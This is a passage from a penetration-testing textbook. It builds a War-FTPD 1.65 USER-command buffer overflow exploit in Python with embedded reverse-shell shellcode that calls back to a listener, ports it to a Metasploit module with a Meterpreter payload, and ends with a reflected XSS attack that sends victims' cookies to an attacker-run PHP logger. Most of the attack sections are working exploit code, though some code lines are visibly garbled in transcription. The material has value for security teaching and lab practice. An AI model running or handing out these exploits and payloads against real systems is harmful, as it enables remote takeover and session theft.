Getting software

For this, we will use Windows XP without service packs to demonstrate our exploit. We have chosen this platform because of the reliability and relative simplicity of this exploit. We could demonstrate more complex or less reliable exploits, but it’s hard to know if our code is working properly when the exploit is unreliable. It seemed like a good idea to keep the exploit simple for the purpose of learning the basics.

Additionally, we need two other pieces of software: the War-FTPD software and Immunity Debugger. War-FTPD is an FTP server and can be downloaded from www.warftp.org/files/1.6_Series/ward165.exe. We will use Version 1.65 of War-FTPD for this exercise. Once you have downloaded the application, run it to extract a setup file, and then run this setup file to install the application. The second application, Immunity Debugger, is a powerful Windows runtime debugger. It has features of other debuggers, such as OllyDbg and WinDbg. But it also has Python scripting capabilities, allowing for helper scripts and plug-ins for debugging and exploit development. You can download Immunity Debugger from www.immunitysec.com/products-immdbg.shtml. Once the download is complete, run the executable to install Immunity Debugger and install Python if it is not installed already.

Setting up debugging

Next, on our Windows XP box we need to set up our debugger to capture information about how the application crashes. Let’s launch Immunity Debugger by clicking on the desktop icon for the application. Once it launches, select File | Open. Then navigate to C:Program FilesWar-ftpdwar-ftpd.exe and choose Open. Figure 9.1 shows the initial view of the Immunity Debugger software.

Looking at Figure 9.1, there are a few areas we will be referencing in this chapter. Once the application loads, we see it is paused according to the bottom right-hand corner. We must run the application once it is loaded in the debugger.

The view in Figure 9.1 is the CPU view. The CPU view has three main areas: the Instructions area where we can see what instructions will be executed next; the Registers area where we can see the address of the current instruction in the EIP register (also called the Instruction Pointer) and the address of the stack in the ESP register (also called the Stack Pointer); and the Stack area where we can see the contents of the stack. The contents of our stack are shown in the bottom-right panel of Figure 9.1. We use this to verify that we are writing as deep into the stack as we need to in order to store executable code.

Once we verify that our application is loaded, we start it by clicking the Start button, or pressing the F9 key. The bottom-right status should change state to “running,” and we should be greeted with our War-FTPD start screen as shown in Figure 9.2.

Before we can start building our exploit, we need to make sure the server is running. To do this, we click on the lightning bolt and look in the main window. We should see the offline state change to “online.” This means our server is ready. We can start building our exploit.

Causing our first crash

Now that we have our application running, it is time to find out if our application has a vulnerability. We do this by causing it to crash and looking at what happens in our debugger. The first step of building an exploit frequently involves sending a large number of easily recognized characters. In this case, the letter A should be a valid username, so if one letter A is good, let’s send 1,024 of them. As we learned in Chapter 4, the hex value of A is 41, so we should be able to recognize a series of 41s if they show up in our output.

#!/usr/bin/python

import sys

import socket

hostname = sys.argv[1]

username = "A"^∗1024

passwd = "anything"

First, we import sys and socket so that we can use standard arguments and sockets in our script. We set the host name to the first and only argument in the script. This will allow us to use our script in other places as needed. Our username is 1,024 occurrences of the letter A. Our password can be anything, and so we set it to anything. Now let’s move on to the next section of code in our script.

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:

   sock.connect((hostname, 21))

except:

   print ("[-] Connection error!")

   sys.exit(1)

r = sock.recv(1024)

print "[+] " + r

Next, we need to connect to our server. We create a TCP socket using the socket method of the socket class, specifying that we will be using an INET or Internet socket and a STREAM, or connection-oriented protocol. The sock method returns a Transmission Control Protocol/Internet Protocol (TCP/IP) socket that we can use to connect to our host. We use that socket’s connect method with a tuple of our host name and port. By wrapping it in the error handling that we learned in Chapter 2, we ensure that if the connection fails, we can print out a helpful error and exit. Finally, to ensure that we are connected, we read the banner from the socket and print it to the screen. Next, let’s look at how we send the username and password across the network to our test FTP server.

sock.send("user %s " %username)

r = sock.recv(1024)

print "[+] " + r

sock.send("pass %s " %passwd)

r = sock.recv(1024)

print "[+] " + r

sock.close()

The FTP login sequence uses the user keyword to indicate that it should expect a username. We send the user command with our long username string. We read the response from the server and print it to the screen. Then we send our bogus password and read the response. From here, we should have failed to log in, and we’ll go ahead and close the socket because there isn’t anything interesting left to do, aside from testing out our script.

Now that we have our script built, let’s call it exploit.py and run it with the IP address of our FTP server. We should see the output shown in Figure 9.3.

While it appears that the FTP server only denied us access, it really gave us an access violation. When we look at our debugger we see the access violation, and the status is paused. Looking at Figure 9.4, we see our EIP pointer is now overwritten by 41414141 (four As). This means we have crashed our application in a way that we can overwrite our EIP pointer. Remember, this is the execution pointer, so if we were to do this with a valid address, we could influence control over the application. Looking at Figure 9.4 again, we see that our ESP pointer also has As in it. So, we have at least two registers we can work with in order to build our exploit. What we don’t know is the relative location of each pointer in our buffer. Let’s figure that out with our exploit code.

Using pattern_offset

Metasploit has two helper scripts that are used frequently in the exploit development process. The first is pattern_create.rb which can be found in /pentest/exploits/framework3/tools. This script takes one argument: the length of the buffer we would like to create. The second is pattern_offset.rb, a tool that will take our output from pattern_create.rb and return the location of the EIP when the application crashes. By specifying 1024 as the length to pattern_create, the same as the number of As we specified initially, we will generate a string we can use to find the exact length of our EIP overwrite. The string contains characters in a unique sequence that will allow us to input the value of EIP into another script to determine the exact length where EIP was overwritten. We take the string that is output by pattern_create and place it in our username variable.

hostname = sys.argv[1]

username = """Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0B"""

passwd = "anything"

Our new code replaces the username from our original script. Before we test our new code, we have to restart our FTP process. In our debugger, we go to Debug and choose Restart. It will ask if we really want to do this, and we will choose Yes. We run our process again and click the lightning bolt icon in War-FTPD to ensure that the application is online. We are ready to test our new code. We run our exploit code again, and review the registers. Figure 9.5 shows the results.

As we see in Figure 9.5, EIP has now been overwritten by 32714131 instead of 41414141 (our As). We can see a portion of our new string in the ESP register as well. Now we can take the value of EIP and use the pattern_offset.rb script to determine our buffer length. The pattern_offset.rb script can also be found in /pentest/exploit/framework3/tools and takes one argument: our EIP value. When we run pattern_offset with EIP, as shown in Figure 9.6, we can see that EIP is overwritten at the 485^th character in our username string.

Controlling EIP

Now we know how many characters have to be overwritten for control of EIP. We need to verify that we are correct. We do this by building our exploit string so that our original exploit characters up to the EIP overwrite are As, our EIP overwrite consists of Bs, and the rest of our exploit buffer is made up of Cs.

hostname = sys.argv[1]

username = "A"^∗485 + "BBBB" + "C"^∗(1024 - 485 - 4)

passwd = "anything"

Our new username is built to verify our offsets. We use 485 As, we use four Bs to overwrite EIP, and we fill out the rest of our 1024 buffer with Cs. We want to ensure that our buffer stays at 1,024 characters. If it becomes longer or shorter, it may change how our exploit works. To make sure it stays this length, we multiply the number of Cs by our buffer length minus the number of As and our four bytes for the Bs we added. When our script runs again we should only see Bs in our EIP register.

Once we execute our code with the updated username, we see that EIP has been overwritten by 42424242, or four Bs. See Figure 9.7 for an example. This indicates that our offset is correct. Also, the stack is full of 43s (Cs). Our stack is as we expected. We can scroll through the Cs to figure out how much space we have. When we scroll through, we see that the rest of our buffer is in the stack, giving us the rest of our 1024 buffer for exploit code. Now that we know how our buffer is laid out, we have another issue. What do we put in EIP to execute code?

We know our exploit code will be in ESP. So our best bet is to find code that will allow us to jump to ESP. The assembly call for this instruction is JMP ESP. We can use existing code in other modules to execute this instruction; we just have to find it. To do this, we begin by going into our debugger, choosing the View tab, and selecting Executable modules. A new window will pop up with executable modules in it. One module commonly used for exploitation is ntdll.dll. When we double-click this module we go to our CPU window. To find our JMP ESP command, we press Ctrl + f and type in JMP ESP. We land on an instruction at 77F5801C.

Let’s verify that this instruction will work. We need to build an exploit buffer that will allow us to see if the instruction succeeded. But we need an easy way to stop the application so that we can see if it worked. One way to do this is to use the software interrupt assembly command, which is INT 3. The hex value for this command is 0xCC. By putting 0xCC instead of our character C in the exploit buffer, we make the program stop and we should see a bunch of INT 3 commands in our instruction window if the JMP ESP command works.

hostname = sys.argv[1]

jmpesp = "x1cx80xf5x77"

username = "A"^∗485 + jmpesp + "xcc"^∗(1024 - 485 - 4)

passwd = "anything"

We update our script, and create a jmpesp variable to store our JMP ESP address. Because the x86 platform is little endian, we have to put in our JMP ESP shellcode with the order reversed. This makes 0x77f5801c turn into 0x1c80f577. Next, we update our username to replace our Bs with jmpesp and our Cs with our INT 3 instruction (0xCC). We are ready to run the code again. When we rerun the script we see that our active instruction is an INT3 command, our stack is full of 0xCC characters, and the application has paused due to our code executing.

Figure 9.8 demonstrates that we have the ability to execute arbitrary code within the application. The fact that the command window is full of the 0xCC INT 3 commands shows that the application has successfully followed the jump instruction and has landed in the 0XCC instructions that we inserted. We can successfully redirect execution of the application to run our own custom code.

Adding shellcode

Now that we have control of the execution of the application, it’s time to add custom shellcode to our script. This will allow us to execute arbitrary code within the application. This means that if our application is running as an administrator on the machine, our code will have the same privileges. Sadly, shellcode doesn’t grow on trees, so we’ll have to generate it.

The Metasploit Framework has two scripts to help us add shellcode to our exploit: Msfpayload and Msfencode. Msfpayload helps build shellcode and applications using payloads from the Metasploit Framework. This allows us to generate a reverse shell payload. A reverse shell connects to us from the target machine. The problem is that the shellcode may have characters in it that are incompatible with our FTP program. Characters such as newline and null characters typically will break text-based exploits. We need a way to encode our payload so that these characters aren’t included. Msfencode is our solution. By specifying these characters as bad characters, we will ensure that Msfencode will encode our payload in such a way that the computer will be able to decode it and still run.

First, we need to choose a payload. We will use the windows/shell_reverse_tcp payload. This payload requires one argument: the local host (LHOST). Our LHOST is our IP address. In this case, it is 192.168.1.11. This tells our shell where to call back when it runs. Because we will encode our output after our payload is returned, we will need the output to be in raw form.

msfpayload windows/shell_reverse_tcp LHOST = 192.168.1.11 R | msfencode –b ’x00x0ex40x0d’

Once we use the command msfpayload to output the raw code, we use the msfencode command to encode our binary with the bad characters we specified. In this case, we’re excluding null, shift out, @, and carriage return, common characters which confuse FTP.

Our output from this command is the shellcode we need for our Python script. We have one last barrier to overcome. While Python is a popular scripting language for building exploits, Metasploit doesn’t have a Python output. We will take the default output, remove the + signs at the end of each line, and wrap the shellcode in parentheses. Let’s take a look at our final shellcode.

#!/usr/bin/python

import sys

import socket

hostname = sys.argv[1]

# Found JMP ESP in ntdll.dll "77F5801C"

jmpesp = "x1cx80xf5x77"

# windows/shell_reverse_tcp - 314 bytes

# http://www.metasploit.com

# LHOST=192.168.1.11, LPORT=4444, ReverseConnectRetries = 5,

# EXITFUNC=process, InitialAutoRunScript=, AutoRunScript=

payload = (

"xdbxdexbex23x6dx90xeexd9x74x24xf4x5ax29xc9"

"xb1x4fx31x72x19x83xc2x04x03x72x15xc1x98x6c"

"x06x8cx63x8dxd7xeexeax68xe6x3cx88xf9x5bxf0"

"xdaxacx57x7bx8ex44xe3x09x07x6ax44xa7x71x45"

"x55x06xbex09x95x09x42x50xcaxe9x7bx9bx1fxe8"

"xbcxc6xd0xb8x15x8cx43x2cx11xd0x5fx4dxf5x5e"

"xdfx35x70xa0x94x8fx7bxf1x05x84x34xe9x2exc2"

"xe4x08xe2x11xd8x43x8fxe1xaax55x59x38x52x64"

"xa5x96x6dx48x28xe7xaax6fxd3x92xc0x93x6exa4"

"x12xe9xb4x21x87x49x3ex91x63x6bx93x47xe7x67"

"x58x0cxafx6bx5fxc1xdbx90xd4xe4x0bx11xaexc2"

"x8fx79x74x6bx89x27xdbx94xc9x80x84x30x81x23"

"xd0x42xc8x2bx15x78xf3xabx31x0bx80x99x9exa7"

"x0ex92x57x61xc8xd5x4dxd5x46x28x6ex25x4exef"

"x3ax75xf8xc6x42x1exf8xe7x96xb0xa8x47x49x70"

"x19x28x39x18x73xa7x66x38x7cx6dx11x7fxebx4e"

"x8ax7exe7x26xc9x80xe6xeax44x66x62x03x01x31"

"x1bxbax08xc9xbax43x87x59x5exd1x4cx99x29xca"

"xdaxcex7ex3cx13x9ax92x67x8dxb8x6exf1xf6x78"

"xb5xc2xf9x81x38x7exdex91x84x7fx5axc5x58xd6"

"x34xb3x1ex80xf6x6dxc9x7fx51xf9x8cxb3x62x7f"

"x91x99x14x9fx20x74x61xa0x8dx10x65xd9xf3x80"

"x8ax30xb0xb1xc0x18x91x59x8dxc9xa3x07x2ex24"

"xe7x31xadxccx98xc5xadxa5x9dx82x69x56xecx9b"

"x1fx58x43x9bx35"

)

username = "A"^∗485 + jmpesp + "x90"^∗16 + payload + "A"^∗(1024 - 485 - 20 - len(payload))

passwd = "anything"

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:

   sock.connect((hostname, 21))

except:

   print ("[-] Connection error!")

   sys.exit(1)

r = sock.recv(1024)

print "[+] " + r

sock.send("user %s " %username)

r = sock.recv(1024)

print "[+] " + r

sock.send("pass %s " %passwd)

r " sock.recv(1024)

print "[+] " + r

sock.close()

We have updated our exploit with our shellcode, and we have modified our username field. The username field now contains our updated exploit string. The username begins with the 485 A characters to overflow the buffer, followed by the jmpesp variable which contains the address that will cause the application to jump to our shellcode. Next, we include 16 0x90 characters or NOP characters. NOP is an instruction that tells the processor to do nothing but go to the next instruction. This gives us a little bit of extra room so that when we jump to our ESP pointer, we can make sure our calculations were correct. This is a standard practice when building exploits to ensure that being off by four or five characters doesn’t cause an issue.

Getting our shell

We now have a working exploit. All we need to do in order to use it is to set up a listener. For our listener, we will use Netcat to accept an incoming connection. Our reverse shell will communicate with us on port 4444, so we will need to listen there. Figure 9.9 shows our listener starting. The –vvv option indicates that Netcat should be very verbose and will show us information about our incoming connection. The –p option indicates the port to listen on, and the –l option indicates that Netcat should act as a server. Once the netcat command is executed, we restart War-FTPD and launch our exploit again.

We see the incoming connection from 192.168.1.7 in the listener window and a Windows XP shell. Our exploit was successful and our shellcode ran successfully. We now have a shell under the context of the user running War-FTPD, and we can move on to post-exploitation; Chapter 10 will describe how to elevate privileges, add our own users, and more.

Starting a template

The first step to creating a Metasploit exploit module is to create our class and initialization method. The information in the initialization method includes the name of the module, the description, payload parameters, and information about the exploit targets. Let’s start building our class by building an initial template.

require ’msf/core’

class Metasploit3 < Msf::Exploit::Remote

   Rank = AverageRanking

   include Msf::Exploit::Remote::Ftp

   def initialize(info = {})

     super(update_info(info,

       ’Name’ = > ’War-FTPD 1.65 Username Exploit’,

       ’Description’ = > %q{

         This module exploits the USER command in War-FTPD 1.65

     },

       ’License’ = > BSD_LICENSE,

       ’Payload’ = >

         {

           ’Space’ = > 524,

           ’BadChars’ = > "x00x0ax0dx40",

           ’StackAdjustment’ = > - 3500,

         },

       ’Platform’ = > ’win’,

       ’Targets’ = >

         [

           [

             ’Windows XP SP0’,

             {

               ’Ret’ = > 0x77f5801c # ntdll.dll

             },

           ],

         ],

         ’DefaultTarget’ = > 0,

       ))

     end

     def exploit

     end

end

This is the basic template we need to generate our module. We include the msf/core module so that we have access to all the Metasploit Framework code. Next, we extend the Msf::Exploit::Remote class to create a new Metasploit3 class. By extending the class, we get helper functions to deal with socket handling and encoding data for the network. Next, we include the module code from Msf::Exploit::Remote::Ftp in order to include critical protocol functions such as connect, and options such as RHOST (the remote host) and RPORT (the remote port). We can also reuse the Msf::Exploit::Remote::Ftp class’s code. Now that we have all our external code included, we set up the initialization method that will be called when our class is loaded.

In our initialization method, the super method will pass the output from the update_info method to the underlying classes to ensure that the setup of our class is correct. The update_info method updates the module’s default information with information that is specific to our exploit. We pass two pieces of information into the update_info method: the info hash that was passed into our initialization method when it was called, and the key-value pairs of data regarding additional information we wish to update.

The key-value pairs help us find our module and tell Metasploit how to treat it. The name and description are what we see when we pull information about the exploit. The license is the license under which we want our module to be released. The payload hash contains information to tell Metasploit about our payload. Our buffer was 1,024 characters long. We are using 500 characters for other things, so our payload can be 524 characters. We provide the bad characters that we used for msfencode earlier, and then we add a StackAdjustment option. The StackAdjustment tells Metasploit to adjust the stack when the payload runs, so we have plenty of room for our payload to decode and execute. If we had a huge space to use for our payload, we might not need this. But we want as much room as possible for our payload to execute.

The platform is win to indicate that the exploit is for Windows. The Targets array is an array of tuples. Each tuple is the name of the platform and the exploit options for that platform. In our case, we have Windows XP SP 0 and our hash contains the return address that we got from ntdll.dll. The final key-value pair contains our DefaultTarget, the index of the Targets array that should be the default target for the exploit.

Porting the exploit code

Now that we have our initialization method set up, it’s time to add our exploit code. We need to take the code we wrote in Python, and convert it to use the Msf::Exploit::Remote::Ftp methods along with the Metasploit constructs in Ruby. The exploit method is what runs when we type exploit in Metasploit after we have set up our variables. We should have set up all the variables we need before we go into this method, so we shouldn’t have to accept any other input to the module.

  def exploit

    connect

    print_status("Connecting to #{target.name}…")

    buf = make_nops(500) + payload.encoded

    buf[485, 4] = [ target.ret ].pack(’V’)

    print_status("Sending Exploit……")

    send_cmd([’USER’, buf] , false)

    handler

    disconnect

  end

We begin by using the connect method to connect to our target host. We use a Metasploit module method called print_status to print status information to wherever is receiving output, to print a connect message. Next, we build our exploit buffer by using the make_nops method to create 500 random no-operation instructions. The NOP instructions replace the As that we used for our original exploit. We replace the As with these random NOP characters to evade simple IDS signature matches when our code is executed. We create more than the 485 we need so that we don’t have to add them after we add our return code. We append the encoded payload that was selected by the user and handled by Metasploit to our exploit buffer. Now, we put our target’s return address that will execute the JMP ESP command to the buffer at the 485^th character. We have to pack this value so that it turns it into little endian form, which we did manually in our Python exploit.

Now that we have our exploit string, we print a status message indicating that we are going to be sending our exploit. Finally, we send our exploit by using the send_cmd method to send a USER command with our buffer as the argument. The false option indicates that we don’t care what data is returned. Once our buffer is sent, we don’t care what comes back. The handler method handles the payload connection, and the disconnect method disconnects us from the server.

Our exploit code is now complete and we have a Metasploit module we can use. Because this is a personal module, we save it in our home directory in the .msf3 directory so that it can be used when we run Metasploit. We will save the file as ~/.msf3/modules/exploits/windows/ftp/warftpd.rb so that its location will mirror where it would be in the Metasploit tree. When we load Metasploit, it will check in our ~/.msf3 directory for modules and load them as though they were in the Metasploit tree.

Executing the exploit

Let’s try it out. We load the Metasploit console by typing msfconsole at the command prompt. Once we see the msf > prompt, we are ready to go. Figure 9.10 shows the sequence of commands we need to use to configure the options of the War-FTPD exploit. We use the module we created by typing use exploit/windows/ftp/warftpd. This is the path we used to save the module in our home directory. Next, we configure the RHOST variable to set the FTP server we will be exploiting, in this case 192.168.1.7.

Now, we set the payload we want to use for this exploit, in this case the Meterpreter reverse_tcp payload. This payload connects back to us, so we need to set our local host IP address with the LHOST variable. We frequently choose this payload because having hosts connect back to us often bypasses firewalls and other network countermeasures. We have many payloads to choose from. To list all the payloads available we can type in show payloads and choose any of the payloads available for the platform we are exploiting.

All the critical aspects of our setup are now complete. But if we want to make sure that all the pieces are in place, we can issue the command show options. Figure 9.11 shows the options configured in our new module.

With all the options verified, we are ready to exploit our target. The exploit command will execute our code against the remote target. If all the things we have done are correct, we should get a response back that looks like Figure 9.12. The process includes starting a listener for the exploit to connect back to, connecting to the target operating system, sending the exploit, and obtaining the shell. For multipart payloads such as Meterpreter, a stager is included in the exploit that will pull the second stage from our server. We will see a sending stage message in those situations. Once the shell comes back, we will see that the shell was opened. When we use Meterpreter, we will see the Meterpreter prompt to indicate that we are now in a Meterpreter shell.

Now that our host has been successfully exploited, we can move on to post-exploitation tasks. Chapter 10 will show us how to use Meterpreter scripting to aid in post-exploitation tasks. Metasploit is an open source framework and also a commercial product. When we write code that may be useful to others, we can contribute that code back to the community and have it incorporated into the project. To find out more about developing for the Metasploit Framework, visit http://dev.metasploit.com.

Remote File Inclusion

One of the most dangerous types of vulnerabilities we can find while penetration testing is Remote File Inclusion (RFI). RFI gives us the ability to execute code on the Web server in the context of the user running the Web server. With this, we can generate shells, include other code, and, through post-exploitation, potentially elevate privileges. This type of exploit frequently leads to the compromise of other resources, as the Web server is then leveraged to attack other hosts. Let’s look more closely at what RFI is, how it happens, and how we can make a vulnerable application bend to our will.

Command execution vulnerabilities

Command execution vulnerabilities allow arbitrary commands to be executed through a script due to insufficient validation checking. In this section, we will explore a command execution vulnerability and see how to build a quick script to execute the arbitrary code. Not all vulnerabilities will be this straightforward, but knowing how these vulnerabilities work will help us to understand how to exploit them when we encounter more complicated examples in the wild.

What is XSS?

XSS, like most Web application vulnerabilities, exists because of poor input sanitization. There are two types of XSS, stored and reflected. Stored XSS exists in things such as blogs or forums where users can make comments or submit information, and that information is rendered in the browser. The information, when displayed back to viewers, ends up being rendered instead of only output because HTML characters aren’t processed out by the application. These values are stored in the backend, and as each viewer views the page, he or she will be affected by the XSS code.

Reflected XSS takes place typically in phishing attacks where someone sends a link with input that is rendered back to the user when the link is clicked. This is common in search engines and other types of forms that echo back the results when we enter data. The data isn’t persistent, so it’s harder for the administrators to pick up on unless they are looking at logs. These types of attacks are usually more targeted as they require a user to fetch the content instead of the content being presented while the browser is doing normal operations.

Exploiting XSS

We will investigate the shell of a search engine application where the author has tried to prevent XSS, but has missed one field. By taking advantage of this reflected XSS vulnerability, we will target an individual who we know has admin access on the site, and steal the user’s cookies. For this shell of an application, this won’t provide any special access, but this type of attack is used by attackers to steal sessions or other important information from victims in the real world. As this is a real-world attack, it’s important to be able to detect, understand, and explain this type of attack in the scope of a penetration test.

<div align=center>

<FORM METHOD=GET>

Welcome to the easy search engine, input your query below:<BR>

<INPUT TYPE=TEXT NAME=query VALUE="<?php echo $_GET[’query’]?>">

<INPUT TYPE=SUBMIT VALUE="Search!"></BR>

</FORM>

<?php

if($_GET[’query’])

{

   print "<BR>You searched for " . htmlspecialchars($_GET[’query’]) . "<BR> ";

}

?>

</div>

First, let’s look at the vulnerable application. This application takes a search option and says what we searched for along with prepopulating the search box with our last query. When we print out the information we searched for, the htmlspecialchars function is used to generate safe HTML. However, when populating the field for the search box, no escape functions are used. This would be okay as long as the input doesn’t have a " symbol in it. However, once we place a quotation symbol in the search box, the HTML output will now have the value corrupted within the tag.

Figure 9.16 shows the output of search.php when the query test">xss is submitted.

We can see in Figure 9.16 that the quote and greater-than sign have closed out the INPUT tag in the source and the xss phrase is displayed to the screen. We can take advantage of this vulnerability with our scripts. When we convert our input into a valid HTML script, we can introduce our own functionality into the Web page. In Figure 9.17, we have sent the query "><script>alert(’xss’)</script> and have gotten a pop-up box verifying that we can run scripts successfully.

Our goal is to be able to steal the cookies from our target. Building a script will not do much good without a way for us to automatically receive the data. To do that, we need a basic logging script somewhere. This script needs the ability to accept data via a GET request and then save the data for future processing. To do this, we can create another basic PHP script.

<?php

$f = fopen("/var/www/outfile","a+");

fwrite($f,$_GET[’cookie’] . " ");

fclose($f);

?>

Our script will open an output file in append mode and write the cookie variable that is submitted via a GET request. Once the file is closed, we will be able to take the data and add those cookies into our browser using a tool such as the Web Developer Toolbar. We don’t have any cookies yet, though, so our next step is going to be to create a Web page that will set cookies for us. We want to generate two cookies: one for an admin flag because it’s always fun when we get an admin flag and a session cookie as they are more real-world.

<?php

setcookie(’admin’,1,0,’/’,’localhost’);

setcookie(’session’,md5(time()),0,’/’,’localhost’);

?>

Our PHP code is pretty simple. We are using the setcookie function to set two cookies, admin and session. The second option to setcookie is the value. For admin our value is 1, and for session our session value is the MD5 hashed value of the current time. The third option is the validity time for the cookie in seconds. A value of 0 for the validity time creates a session cookie that will go away when the browser is closed. Any other value will be the duration in seconds for the cookie. The next two variables are the validity path and the domain for which the cookie should be valid. These values determine when the browser will send the cookie to the server. By restricting the path and the domain in a cookie, we can ensure that, in a shared hosting environment, our cookies won’t be transmitted to any pages but our own. The cookies must be set before output is sent to the browser. Cookies are set in the headers of the HTTP response, and once data starts being sent to the browser, the header cannot be modified.

Now that all our pieces have been created, it’s time to put together our exploit. First, we need to make sure our output file is created and owned by the Web server. To do that, we issue the command touch outfile in the /var/www directory and then chown www-data outfile. Now, our output file is owned by the Web server. Because of this, our sniffer script, sniffer.php, should be able to write to our output file. Our cookie file, setcookie.php, is the first page we need to visit. Going to http://localhost/setcookie.php should set the cookies we need set. To verify that the cookies are set, we can visit javascript:alert(document.cookie) in the browser. Running this code should create a pop-up box with our cookies set. Next, we go to our search page. We want to formulate a URL that we can send to our target that will cause their cookies to be forwarded to our sniff page. To do that, we need to create a URL that will submit the GET request for us with our injected XSS code included.

Our XSS URL should look like this:

"><script>document.write(’<IMG SRC="http://localhost/sniffer.php?cookie=’+document.cookie + ’">’);</script "

We may see a pop up in Firefox as the NoScript plug-in attempts to protect us from ourselves. It is okay to continue; the example won’t work unless we continue. We should see our search box with a small broken image icon in it and the content of our search printed below. Figure 9.18 shows the output file as well as the resultant Web page. Our XSS uses the JavaScript document.write method to print out an IMG tag with the source being our sniffer.php page. We pass one option into the page: the cookie key with the value appended to our string of the document.cookie value.

We append the close tag and close the parentheses of the method. Finally, we close the script tag. By opening another quote at the end of our string, we ensure that the tag we injected our code into will provide the closing quote and greater-than sign to close the tag. This stops the script from having pieces of HTML code displayed to the screen, which might make someone aware of what we are doing.

We see our two variables saved in outfile in Figure 9.18. Each value is semicolon-delimited and can be inserted into our browser to impersonate our target user. We have successfully created an XSS cookie-stealing exploit that we can utilize in the field. There are frequently other pieces of information we might want, such as the referrer and IP address of the client. These are things we would probably add on before we used this professionally, but we have already examined these concepts in Chapter 7.